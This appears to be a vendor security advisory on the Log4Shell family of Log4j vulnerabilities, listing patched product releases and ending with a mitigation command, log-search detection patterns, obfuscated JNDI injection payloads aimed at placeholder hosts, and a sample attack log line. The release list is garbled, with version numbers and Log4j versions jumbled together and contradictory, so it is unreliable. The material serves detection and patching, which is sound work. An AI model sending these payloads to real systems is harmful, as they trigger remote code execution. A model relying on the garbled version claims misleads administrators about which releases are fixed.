General information

This article contains information related to the remote code execution (RCE) vulnerability affecting Log4j: https://www.randori.com/blog/cve-2021-44228/ 

Log4j2 is an open-source, Java-based logging framework commonly incorporated into Apache web servers. According to public sources, Chen Zhaojun of Alibaba officially reported a Log4j2 remote code execution (RCE) vulnerability to Apache on Nov. 24, 2021.

This critical vulnerability, subsequently tracked as CVE-2021-44228 (aka “Log4Shell”), impacts all versions of Log4j2 from 2.0-beta9 to 2.14.1.

Further on, these additional CVEs was also reported for Log4j, CVE-2021-45046 for the 2.15 version, as well as CVE-2021-45105 for 2.16.

The Nexus Security team is currently investigating has investigated the impact of the Log4j remote code execution vulnerability (CVE-2021-44228), (CVE-2021-45046), (CVE-2021-45105) and determining the possible impact on our products.

Information about the update

Refer to the table in section "Nexus components" for the latest information for the components.

Releases with fixed versions of the affected components:

Nexus SaaS customers

• Smart ID version 21.10.

  1

  2 –This version

  contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it

  is packaged with Log4j 2.17.

  16

  1.
  You can find this version on the support portal, and release notes here: Release note Smart ID 21.10.

  1

  2
  
  

• Smart ID version 21.

  04

  10.

  6

  1 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Smart ID 21.

  04

  10.

  6

  1
  
  

• Smart ID version

  20

  21.

  11

  04.

  3

  7 –This version

  contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it

  is packaged with Log4j 2.17.

  16

  1.
  You can find this version on the support portal, and release notes here: Release note Smart ID

  20

  21.

  11

  04.

  3

  7
  
  

• Digital Access

  Smart ID version

  6

  21.

  1

  04.

  2

  6 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046,

  and

  as it is packaged with Log4j 2.

  17

  16.
  You can find this version on the support portal, and release notes here: Release note

  Digital Access component 6.1.2
  Digital Access version 6.1.1 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it

  Smart ID 21.04.6
  
  

• Smart ID version 20.11.4 –This version is packaged with Log4j 2.17.

  16

  1.
  You can find this version on the support portal, and release notes here: Release note

  Digital Access component 6.1.1

  Smart ID 20.11.4
  
  

• Smart ID

  Identity Manager (PRIME)

  version

  3

  20.

  12

  11.

  14 –

  3 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Smart ID

  Identity Manager 3

  20.

  12

  11.

  14
  Smart ID Identity Manager (PRIME) version 3.11.5 –

  3
  
  

• Digital Access version 6.1.2 – This version contains a fix for both CVE-2021-44228 and CVE-2021-45046,

  as

  and it is packaged with Log4j 2.

  16

  17.
  You can find this version on the support portal, and release notes here: Release note

  Smart ID Identity Manager 3.11.5
  Smart ID Identity Manager (PRIME) version 3.10.30

  Digital Access component 6.1.2
  
  

• Digital Access version 6.1.1 –This version contains a fix for both CVE-2021-44228 and CVE-2021-45046, as it is packaged with Log4j 2.16.
  You can find this version on the support portal, and release notes here: Release note Digital Access component 6.1.1
  
  

• Smart ID Identity Manager

  3.10.30

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

sudo find /var/log/ -name "*.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(l

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

2021-12-12 05:54:07 0 ip.number.ip.ip 5f7288ab7f41d805 - - - endpoint.ip.number:443 https - GET / ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://111.111.1111.111:12344/Basic/Command/
Base64/V2Ugd291bGQgbm90IHBvc3QgYW55dGhpbmcgbWFsaWNpb3VzIGhlcmUsIHNvIHRoaXMgaXMganVzdCBh
biBleGFtcGxlIHRleHQgY29udmVydGVkIHRvIEJBU0U2NCA6KQ== } host:ip.number.ip.ip:443 404